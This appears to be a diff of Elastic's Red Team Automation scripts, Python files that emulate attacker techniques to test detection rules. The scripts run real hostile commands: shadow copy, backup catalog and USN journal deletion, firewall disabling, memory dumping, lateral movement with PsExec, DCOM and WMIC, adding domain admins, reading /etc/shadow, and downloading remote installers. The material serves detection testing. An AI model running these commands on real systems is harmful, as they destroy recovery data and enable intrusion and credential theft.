log("Searching for remote Windows hosts")
_, stdout = execute("net view", hide_log=True)
hosts = re.findall(r"\\\\([\w\d\._-]+)", stdout)
# _, current_user = execute("whoami", hide_log=True)
pending = {}
log("Discovery %d possible hosts" % len(hosts))
for name in hosts[:MAX_HOSTS]:
name = name.lower()
if name.split('.')[0] == HOSTNAME.split('.')[0]:
continue
# log("Checking if %s has remote admin permissions to %s" % (current_user, name))
dev_null = open(os.devnull, "w")
p = subprocess.Popen('sc.exe \\\\%s query' % name,
stdout=dev_null,
stderr=dev_null,
stdin=subprocess.PIPE)
pending[name] = p
if len(pending) > 0:
# See which ones return first with a success code, and use that host
for _ in range(20):
for hostname, pending_process in sorted(pending.items()):
if pending_process.poll() is None:
pending_process.stdin.write(os.linesep)
if pending_process.returncode == 0:
# Now need to get the IP address
ip = get_ipv4_address(hostname)
if ip is not None:
log('Using remote host %s (%s)' % (ip, hostname))
return ip
pending.pop(hostname)
time.sleep(0.5)
log("Unable to find a remote host to pivot to. Using local host %s" % HOSTNAME, log_type="!")
return get_ip()
def get_ipv4_address(hostname):
if re.match(IP_REGEX, hostname):
return hostname
code, output = execute(["ping", hostname, "-4", "-n", 1], hide_log=True)
if code != 0:
return None
addresses = re.findall(IP_REGEX, output)
if len(addresses) == 0:
return None
return addresses[0]
def find_writeable_directory(base_dir):
for root, dirs, files in os.walk(base_dir):
for d in dirs:
subdir = os.path.join(base_dir, d)
try:
test_file = os.path.join(subdir, "test_file")
f = open(test_file, "w")
f.close()
os.remove(test_file)
return subdir
except IOError:
pass
def check_system():
return USER_NAME == "system" or USER_NAME.endswith("$")
PS_EXEC = get_path("bin", "PsExec.exe")
def run_system(arguments=None):
if check_system():
return None
if arguments is None:
arguments = [sys.executable, os.path.abspath(sys.argv[0])] + sys.argv[1:]
log("Attempting to elevate to SYSTEM using PsExec")
if not os.path.exists(PS_EXEC):
log("PsExec not found", log_type="-")
return MISSING_PSEXEC
p = subprocess.Popen([PS_EXEC, "-w", os.getcwd(), "-accepteula", "-s"] + arguments)
p.wait()
code = p.returncode
if code == ACCESS_DENIED:
log("Failed to escalate to SYSTEM", "!")
return code
def write_reg(hive, key, value, data, data_type=None, restore=True, pause=False, append=False):
# type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None
with temporary_reg(hive, key, value, data, data_type, restore, pause, append):
pass
def read_reg(hive, key, value): # type: (str, str, str) -> (str, str)
winreg = get_winreg()
if isinstance(hive, strings):
hives = {'hklm': winreg.HKEY_LOCAL_MACHINE,
'hkcu': winreg.HKEY_LOCAL_MACHINE,
'hku': winreg.HKEY_USERS,
'hkcr': winreg.HKEY_CLASSES_ROOT}
hive = hives[hive.lower()]
try:
hkey = winreg.CreateKey(hive, key.rstrip("\\"))
old_data, old_type = winreg.QueryValueEx(hkey, value)
except WindowsError as e:
# check if the key already exists
if e.errno != 2:
raise
return None, None
return old_data, old_type
@contextlib.contextmanager
def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=False, append=False):
# type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None
winreg = get_winreg()
if isinstance(hive, strings):
hives = {'hklm': winreg.HKEY_LOCAL_MACHINE,
'hkcu': winreg.HKEY_CURRENT_USER,
'hku': winreg.HKEY_USERS,
'hkcr': winreg.HKEY_CLASSES_ROOT}
hive = hives[hive.lower()]
if isinstance(data_type, strings):
attr = 'REG_' + data_type.upper()
data_type = getattr(winreg, attr)
if data_type is None:
data_type = winreg.REG_SZ
key = key.rstrip('\\')
hkey = winreg.CreateKey(hive, key)
exists = False
old_data = None
old_type = None
if hkey:
try:
old_data, old_type = winreg.QueryValueEx(hkey, value)
exists = True
except WindowsError as e:
# check if the key already exists
exists = False
old_data, old_type = None, None
if e.errno != 2:
raise
if append and exists:
# If appending to the existing REG_MULTI_SZ key, then append to the end
if not isinstance(data, list):
data = [data]
if isinstance(old_data, list):
data = old_data + data
data_string = ','.join(data) if isinstance(data, list) else data
log("Writing to registry %s\\%s -> %s" % (key, value, data_string))
winreg.SetValueEx(hkey, value, 0, data_type, data)
stored, code = winreg.QueryValueEx(hkey, value)
if data != stored:
log("Wrote %s but retrieved %s" % (data, stored), log_type="-")
# Allow code to execute within the context manager 'with'
try:
yield
finally:
if restore:
time.sleep(0.5)
if not exists:
# If it didn't already exist, then delete it
log("Deleting %s\\%s" % (key, value), log_type="-")
winreg.DeleteValue(hkey, value)
else:
# Otherwise restore the value
data_string = ','.join(old_data) if isinstance(old_data, list) else old_data
log("Restoring registry %s\\%s -> %s" % (key, value, data_string), log_type="-")
winreg.SetValueEx(hkey, value, 0, old_type, old_data)
hkey.Close()
print("")
if pause:
time.sleep(0.5)
def enable_logon_auditing(host='localhost', verbose=True, sleep=2):
"""Enable logon auditing on local or remote system to enable 4624 and 4625 events."""
if verbose:
log('Ensuring audit logging enabled on {}'.format(host))
auditpol = 'auditpol.exe /set /subcategory:Logon /failure:enable /success:enable'
enable_logging = "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList '{}'".format(
host, auditpol)
command = ['powershell', '-c', enable_logging]
enable = execute(command)
# additional time to allow auditing to process
time.sleep(sleep)
return enable
def print_file(path):
print(path)
if not os.path.exists(path):
print('--- NOT FOUND ----')
else:
print('-' * 16)
with open(path, 'r') as f:
print(f.read().rstrip())
print('')
+27
View File
@@ -0,0 +1,27 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Memory Dump via Comsvcs
# RTA: comsvcs_dump.py
# ATT&CK: T1117
# Description: Invokes comsvcs.dll with rundll32.exe to mimic creating a process MiniDump.
import os
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Memory Dump via Comsvcs")
pid = os.getpid()
common.execute(["powershell.exe", "-c", "rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll",
"MiniDump", "{} dump.bin full".format(pid)])
time.sleep(1)
common.remove_file("dump.bin")
if __name__ == "__main__":
exit(main())
+40
View File
@@ -0,0 +1,40 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: DCOM Lateral Movement with MMC
# RTA: dcom_lateral_movement_with_mmc.py
# ATT&CK: T1175
# Description: Execute a command to simulate lateral movement using Distributed Component Object Model (DCOM) with MMC
import sys
from . import common
@common.requires_os("windows")
def main(remote_host=None):
remote_host = remote_host or common.get_ip()
common.log("DCOM Lateral Movement with MMC")
common.log("Attempting to move laterally to {}".format(remote_host))
remote_host = common.get_ipv4_address(remote_host)
common.log("Using IP address {}".format(remote_host))
# Prepare PowerShell command for DCOM lateral movement
ps_command = """
$dcom=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','{remote_host}'));
$dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7');
$dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7');
$dcom.quit();
""".format(remote_host=remote_host)
command = ["powershell", "-c", ps_command]
# Execute command
common.execute(command, timeout=15, kill=True)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+35
View File
@@ -0,0 +1,35 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Boot Config Deletion With bcdedit
# RTA: delete_bootconf.py
# ATT&CK: T1107
# Description: Uses bcdedit.exe to backup the current boot configuration, and then to delete the current boot
# configuration, finally restoring the original.
import os
from . import common
@common.requires_os(common.WINDOWS)
def main():
# Messing with the boot configuration is probably not a great idea so create a backup:
common.log("Exporting the boot configuration....")
bcdedit = "bcdedit.exe"
backup_file = os.path.abspath("boot.cfg")
common.execute(["bcdedit.exe", "/export", backup_file])
# WARNING: this is a destructive command which might be super bad to run
common.log("Changing boot configuration", log_type="!")
common.execute([bcdedit, "/set", "{current}", "bootstatuspolicy", "ignoreallfailures"])
common.execute([bcdedit, "/set", "{current}", "recoveryenabled", "no"])
# Restore the boot configuration
common.log("Restoring boot configuration from %s" % backup_file, log_type="-")
common.execute([bcdedit, "/import", backup_file])
if __name__ == "__main__":
exit(main())
+25
View File
@@ -0,0 +1,25 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Catalog Deletion with wbadmin.exe
# RTA: delete_catalogs.py
# ATT&CK: T1107
# Description: Uses wbadmin to delete the backup catalog.
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
warning = "Deleting the backup catalog may have unexpected consequences. Operational issues are unknown."
common.log("WARNING: %s" % warning, log_type="!")
time.sleep(2.5)
common.execute(["wbadmin", "delete", "catalog", "-quiet"])
if __name__ == "__main__":
exit(main())
+24
View File
@@ -0,0 +1,24 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: USN Journal Deletion with fsutil.exe
# RTA: delete_usnjrnl.py
# ATT&CK: T1107
# Description: Uses fsutil to delete the USN journal.
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
message = "Deleting the USN journal may have unintended consequences"
common.log("WARNING: %s" % message, log_type="!")
time.sleep(2.5)
common.execute(["fsutil", "usn", "deletejournal", "/d", "C:"])
if __name__ == "__main__":
exit(main())
+23
View File
@@ -0,0 +1,23 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Volume Shadow Copy Deletion with vssadmin and wmic
# RTA: delete_volume_shadow.py
# ATT&CK: T1107
# Description: Uses both vssadmin.exe and wmic.exe to delete volumne shadow copies.
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Deleting volume shadow copies...")
common.execute(["vssadmin.exe", "delete", "shadows", "/for=c:", "/oldest", "/quiet"])
# Create a volume shadow copy so that there is at least one to delete
common.execute(["wmic.exe", "shadowcopy", "call", "create", "volume=c:\\"])
common.execute(["wmic.exe", "shadowcopy", "delete", "/nointeractive"])
if __name__ == "__main__":
exit(main())
+38
View File
@@ -0,0 +1,38 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Disable Windows Firewall
# RTA: disable_windows_fw.py
# ATT&CK: T1089
# Description: Uses netsh.exe to backup, disable and restore firewall rules.
import os
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("NetSH Advanced Firewall Configuration", log_type="~")
netsh = "netsh.exe"
rules_file = os.path.abspath("fw.rules")
# Check to be sure that fw.rules does not already exist from previously running this script
common.remove_file(rules_file)
common.log("Backing up rules")
common.execute([netsh, "advfirewall", "export", rules_file])
common.log("Disabling the firewall")
common.execute([netsh, "advfirewall", "set", "allprofiles", "state", "off"])
common.log("Undoing the firewall change", log_type="-")
common.execute([netsh, "advfirewall", "import", rules_file])
common.remove_file(rules_file)
if __name__ == "__main__":
exit(main())
+73
View File
@@ -0,0 +1,73 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Common Enumeration Commands
# RTA: enum_commands.py
# ATT&CK: T1007, T1016, T1018, T1035, T1049, T1057, T1063, T1069, T1077, T1082, T1087, T1124, T1135
# Description: Executes a list of administration tools commonly used by attackers for enumeration.
import argparse
import random
from . import common
@common.requires_os(common.WINDOWS)
def main(args=None):
slow_commands = [
"gpresult.exe /z",
"systeminfo.exe"
]
commands = [
"ipconfig /all",
"net localgroup administrators",
"net user",
"net user administrator",
"net user /domain"
"tasklist",
"net view",
"net view /domain",
"net view \\\\%s" % common.get_ip(),
"netstat -nao",
"whoami",
"hostname",
"net start",
"tasklist /svc",
"net time \\\\%s" % common.get_ip(),
"net use",
"net view",
"net start",
"net accounts",
"net localgroup",
"net group",
"net group \"Domain Admins\" /domain",
"net share",
"net config workstation",
]
commands.extend(slow_commands)
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--sample', dest="sample", default=len(commands), type=int,
help="Number of commands to run, choosen at random from the list of enumeration commands")
args = parser.parse_args(args)
sample = min(len(commands), args.sample)
if sample < len(commands):
random.shuffle(commands)
common.log("Running {} out of {} enumeration commands\n".format(sample, len(commands)))
for command in commands[0:sample]:
common.log("About to call {}".format(command))
if command in slow_commands:
common.execute(command, kill=True, timeout=15)
common.log("[output surpressed]", log_type='-')
else:
common.execute(command)
if __name__ == "__main__":
exit(main())
+21
View File
@@ -0,0 +1,21 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Recursive Password Search
# RTA: findstr_pw_search.py
# ATT&CK: T1081
# Description: Recursively searches files looking for the string "password".
from . import common
@common.requires_os(common.WINDOWS)
def main():
path = "c:\\rta"
common.log("Searching for passwords on %s" % path)
common.execute(["dir", path, "/s", "/b", "|", "findstr", "password"], shell=True, timeout=15)
if __name__ == "__main__":
exit(main())
+30
View File
@@ -0,0 +1,30 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Persistence using GlobalFlags
# RTA: globalflags.py
# ATT&CK: T1183
# Description: Uses GlobalFlags option in Image File Execution Options to silently execute calc.exe after the monitored
# process (notepad.exe) is closed.
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Setting up persistence using Globalflags")
ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe"
spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe"
with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), \
common.temporary_reg(common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD), \
common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"):
common.log("Opening and closing netstat")
common.execute(["whoami"], shell=True)
common.execute(['taskkill', '/F', '/IM', 'netstat.exe'])
if __name__ == "__main__":
exit(main())
+55
View File
@@ -0,0 +1,55 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Network Traffic from InstallUtil
# RTA: installutil_network.py
# ATT&CK: T1118
# Description: Uses mock .NET malware and InstallUtil to create network activity from InstallUtil.
import os
import sys
from . import common
MY_DOT_NET = common.get_path("bin", "mydotnet.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(MY_DOT_NET)
def main():
server, ip, port = common.serve_web()
common.clear_web_cache()
target_app = "mydotnet.exe"
common.patch_file(MY_DOT_NET, common.wchar(":8000"), common.wchar(":%d" % port), target_file=target_app)
install_util64 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe"
install_util86 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe"
fallback = False
if os.path.exists(install_util64):
install_util = install_util64
elif os.path.exists(install_util86):
install_util = install_util86
else:
install_util = None
fallback = True
if not fallback:
common.clear_web_cache()
common.execute([install_util, '/logfile=', '/LogToConsole=False', '/U', target_app])
else:
common.log("Unable to find InstallUtil, creating temp file")
install_util = os.path.abspath("InstallUtil.exe")
common.copy_file(sys.executable, install_util)
common.execute([install_util, "-c", "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port)])
common.remove_file(install_util)
common.remove_file(target_app)
server.shutdown()
if __name__ == "__main__":
exit(main())
+54
View File
@@ -0,0 +1,54 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Suspicious IQY/PUB File Writes
# RTA: iqy_file_writes.py
# ATT&CK: T1140, T1192, T1193
# Description: Generates four file writes related to file extensions (PUB, IQY)
import os
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Suspicious File Writes (IQY, PUB)")
adobe_path = os.path.abspath("AcroRd32.exe")
msoffice_path = os.path.abspath("winword.exe")
browser_path = os.path.abspath("iexplore.exe")
common.copy_file(common.CMD_PATH, adobe_path)
common.copy_file(common.CMD_PATH, msoffice_path)
common.copy_file(common.CMD_PATH, browser_path)
common.log("Writing files")
# write file as adobe, then run it
common.log("Creating a 'suspicious' executable")
bad_path = os.path.abspath("bad.exe")
# PDF writing IQY file
fake_iqy = os.path.abspath("test.iqy")
common.execute([adobe_path, "/c", "echo", "test", ">", fake_iqy])
# PDF writing PUB file
fake_pub = os.path.abspath("test.pub")
common.execute([adobe_path, "/c", "echo", "test", ">", fake_pub])
# Winword writing IQY file
fake_doc_iqy = os.path.abspath("test_word.iqy")
common.execute([msoffice_path, "/c", "echo", "test", ">", fake_doc_iqy])
# Brwoser writing IQY file
fake_browser_iqy = os.path.abspath("test_browser.iqy")
common.execute([browser_path, "/c", "echo", "test", ">", fake_browser_iqy])
# cleanup
common.remove_files(adobe_path, bad_path, fake_iqy)
common.remove_files(adobe_path, bad_path, fake_pub)
common.remove_files(msoffice_path, bad_path, fake_doc_iqy)
common.remove_files(browser_path, bad_path, fake_browser_iqy)
if __name__ == "__main__":
exit(main())
+24
View File
@@ -0,0 +1,24 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: PsExec Lateral Movement
# RTA: lateral_command_psexec.py
# ATT&CK: T1035, T1077
# Description: Runs PSExec to move laterally
import sys
from . import common
@common.requires_os(common.WINDOWS)
@common.dependencies(common.PS_EXEC)
def main(remote_host=None):
remote_host = remote_host or common.get_ip()
common.log("Performing PsExec to %s" % remote_host)
common.execute([common.PS_EXEC, "\\\\%s" % remote_host, "-accepteula", "ipconfig"])
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+83
View File
@@ -0,0 +1,83 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Lateral Movement Commands
# RTA: lateral_commands.py
# ATT&CK: T1021, T1047, T1077, T1124, T1126
# Description: Runs various Windows commands typically used by attackers to move laterally from the local machine.
import os
import re
import sys
from . import common
MY_APP = common.get_path("bin", "myapp.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(MY_APP)
def main(remote_host=None):
remote_host = remote_host or common.get_ip()
common.log("Attempting to laterally move to %s" % remote_host)
remote_host = common.get_ipv4_address(remote_host)
common.log("Using ip address %s" % remote_host)
# Put the hostname in quotes for WMIC, but leave it as is
if not re.match(common.IP_REGEX, remote_host):
wmi_node = '"{}"'.format(remote_host)
else:
wmi_node = remote_host
commands = [
"sc.exe \\\\{host} create test_service binPath= %s" % MY_APP,
"sc.exe \\\\{host} config test_service binPath= c:\\windows\\system32\\ipconfig.exe",
"sc.exe \\\\{host} failure test_service command= c:\\windows\\system32\\net.exe",
"sc.exe \\\\{host} start test_service",
"sc.exe \\\\{host} delete test_service",
"wmic.exe /node:{wmi_node} process call create ipconfig.exe",
"wmic.exe /node:{wmi_node} path WIN32_USERACCOUNT where(name='vagrant') set passwordexpires='false'",
"net.exe time \\\\{host}",
"net.exe use \\\\{host}\\admin$",
"net.exe use \\\\{host}\\admin$ /delete",
"net.exe use \\\\{host}\\c$",
"net.exe use \\\\{host}\\c$ /delete",
]
for command in commands:
common.execute(command.format(host=remote_host, wmi_node=wmi_node))
_, whoami = common.execute(["whoami"])
_, hostname = common.execute(["hostname"])
domain, user = whoami.lower().split("\\")
hostname = hostname.lower()
schtasks_host = remote_host
# Check if the account is local or a domain
if domain in (hostname, "NT AUTHORITY"):
common.log("Need password for remote scheduled task in workgroup. Performing instead on %s." % common.get_ip())
schtasks_host = common.get_ip()
task_name = "test_task-%d" % os.getpid()
schtask_commands = [
r"schtasks /s {host} /delete /tn {name} /f",
r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f",
r"schtasks /s {host} /run /tn {name}",
r"schtasks /s {host} /delete /tn {name} /f",
]
for command in schtask_commands:
command = command.format(host=schtasks_host, name=task_name)
common.execute(command)
# Remote powershell
common.execute(["C:\\Windows\\system32\\wsmprovhost.exe", "-Embedding"], timeout=5, kill=True)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+33
View File
@@ -0,0 +1,33 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Compression of sensitive files
# RTA: linux_compress_sensitive_files.py
# Description: Uses built-in commands for *nix operating systems to compress known sensitive
# files, such as etc/shadow and etc/passwd
from . import common
@common.requires_os(common.LINUX)
def main():
common.log("Compressing sensitive files")
files = ['totally-legit.tar', 'official-business.zip', 'expense-reports.gz']
# we don't want/need these to actually work, since the rule is only looking for command line, so no need for sudo
commands = [
['tar', '-cvf', files[0], '/etc/shadow'],
['zip', files[1], '/etc/passwd'],
['gzip', '/etc/group', files[2]]
]
for command in commands:
try:
common.execute(command)
except OSError as exc:
# command doesn't exist on distro - the rule only needs one to trigger
# also means we will eventually need to explore per distro ground truth when we expand as counts will vary
common.log(str(exc))
if __name__ == '__main__':
main()
+26
View File
@@ -0,0 +1,26 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Reading sensitive files
# RTA: linux_discovery_sensitive_files.py
# Description: Uses built-in commands for *nix operating systems to read known sensitive
# files, such as etc/shadow and etc/passwd
from . import common
@common.requires_os(common.LINUX)
def main():
common.log("Reading sensitive files", log_type="~")
# Launch an interactive shell with redirected stdin, to simulate interactive shell access
common.execute('/bin/sh', stdin="""
cat /etc/sudoers
cat /etc/group
cat /etc/passwd
cat /etc/shadow
""")
if __name__ == '__main__':
main()
+26
View File
@@ -0,0 +1,26 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Mac Descendant of an Office Application
# RTA: mac_office_descendant.py
# Description: Creates a suspicious process spawned from "Microsoft Word"
import os
from . import common
@common.requires_os(common.MACOS)
def main():
common.log("Emulating Microsoft Word running enumeration commands")
office_path = os.path.abspath("Microsoft Word")
common.copy_file("/bin/sh", office_path)
common.execute([office_path], stdin="whoami")
common.remove_files(office_path)
if __name__ == "__main__":
exit(main())
@@ -0,0 +1,32 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Modification of WDigest Security Provider
# RTA: modification_of_wdigest_security_provider.py
# ATT&CK: T1003
# Description: Sets WDigest\UseLogonCredential 1 temporarily
# TODO: Add context to what this does. Does it temporarily disable something?
import sys
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Modification of WDigest Security Provider")
# TODO: See if common.temporory_reg should be used instead
common.write_reg(common.HKLM,
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 1,
common.DWORD, restore=False, pause=True)
common.write_reg(common.HKLM,
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0,
common.DWORD, restore=False)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+38
View File
@@ -0,0 +1,38 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Emulate MS Office Dropping an executable file to disk
# RTA: ms_office_drop_exe.py
# ATT&CK: T1064
# Description: MS Office writes executable file and it is run.
import os
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
cmd_path = "c:\\windows\\system32\\cmd.exe"
for office_app in ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"]:
common.log("Emulating office application %s" % office_app)
office_path = os.path.abspath(office_app)
common.copy_file(cmd_path, office_path)
bad_path = os.path.abspath("bad-{}-{}.exe".format(hash(office_app), os.getpid()))
common.execute([office_path, '/c', 'copy', cmd_path, bad_path])
time.sleep(1)
common.execute([bad_path, '/c', 'whoami'])
# cleanup
time.sleep(1)
common.remove_files(office_app, bad_path)
print("")
if __name__ == "__main__":
exit(main())
+35
View File
@@ -0,0 +1,35 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: MsBuild with Network Activity
# RTA: msbuild_network.py
# ATT&CK: T1127
# Description: Generates network traffic from msbuild.exe
from . import common
MS_BUILD = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe'
@common.requires_os(common.WINDOWS)
@common.dependencies(MS_BUILD)
def main():
common.log("MsBuild Beacon")
server, ip, port = common.serve_web()
common.clear_web_cache()
common.log("Updating the callback http://%s:%d" % (ip, port))
target_task = "tmp-file.csproj"
common.copy_file(common.get_path("bin", "BadTasks.csproj"), target_task)
new_callback = "http://%s:%d" % (ip, port)
common.patch_regex(target_task, common.CALLBACK_REGEX, new_callback)
common.execute([MS_BUILD, target_task], timeout=30, kill=True)
common.remove_file(target_task)
server.shutdown()
if __name__ == "__main__":
exit(main())
+34
View File
@@ -0,0 +1,34 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Microsoft HTA tool (mshta.exe) with Network Callback
# RTA: mshta_network.py
# ATT&CK: T1170
# Description: Generates network traffic from mshta.exe
from . import common
HTA_FILE = common.get_path("bin", "beacon.hta")
@common.requires_os(common.WINDOWS)
@common.dependencies(HTA_FILE)
def main():
# http server will terminate on main thread exit
# if daemon is True
common.log("MsHta Beacon")
server, ip, port = common.serve_web()
common.clear_web_cache()
new_callback = "http://%s:%d" % (ip, port)
common.log("Updating the callback to %s" % new_callback)
common.patch_regex(HTA_FILE, common.CALLBACK_REGEX, new_callback)
mshta = 'mshta.exe'
common.execute([mshta, HTA_FILE], timeout=3, kill=True)
server.shutdown()
if __name__ == "__main__":
exit(main())
+26
View File
@@ -0,0 +1,26 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: MsiExec with HTTP Installer
# RTA: msiexec_http_installer.py
# ATT&CK:
# Description: Use msiexec.exe to download an executable from a remote site over HTTP and run it.
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("MsiExec HTTP Download")
server, ip, port = common.serve_web()
common.clear_web_cache()
common.execute(["msiexec.exe", "/quiet", "/i", "http://%s:%d/bin/Installer.msi" % (ip, port)])
common.log("Cleanup", log_type="-")
common.execute(["msiexec", "/quiet", "/uninstall", "http://%s:%d/bin/Installer.msi" % (ip, port)])
server.shutdown()
if __name__ == "__main__":
exit(main())
+33
View File
@@ -0,0 +1,33 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: msxsl.exe Network
# RTA: msxsl_network.py
# ATT&CK: T1127
# Description: Generates network traffic from msxsl.exe
from . import common
MS_XSL = common.get_path("bin", "msxsl.exe")
XML_FILE = common.get_path("bin", "customers.xml")
XSL_FILE = common.get_path("bin", "cscript.xsl")
@common.requires_os(common.WINDOWS)
@common.dependencies(MS_XSL, XML_FILE, XSL_FILE)
def main():
common.log("MsXsl Beacon")
server, ip, port = common.serve_web()
common.clear_web_cache()
new_callback = "http://%s:%d" % (ip, port)
common.log("Updating the callback to %s" % new_callback)
common.patch_regex(XSL_FILE, common.CALLBACK_REGEX, new_callback)
common.execute([MS_XSL, XML_FILE, XSL_FILE])
server.shutdown()
if __name__ == "__main__":
exit(main())
+38
View File
@@ -0,0 +1,38 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Create User with net.exe
# RTA: net_user_add.py
# ATT&CK: T1136
# Description: Adds an account to the local host using the net.exe command
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Creating local and domain user accounts using net.exe")
commands = [
'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"',
'net.exe user macgyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain',
'net.exe group Administrators macgyver /add',
'net.exe group "Domain Admins" macgyver /add /domain',
'net.exe localgroup Administrators macgyver /add',
]
for cmd in commands:
common.execute(cmd)
cleanup_commands = [
"net.exe user macgyver /delete",
"net.exe user macgyver /delete /domain"
]
common.log("Removing local and domain user accounts using net.exe", log_type="-")
for cmd in cleanup_commands:
common.execute(cmd)
if __name__ == "__main__":
exit(main())
+37
View File
@@ -0,0 +1,37 @@
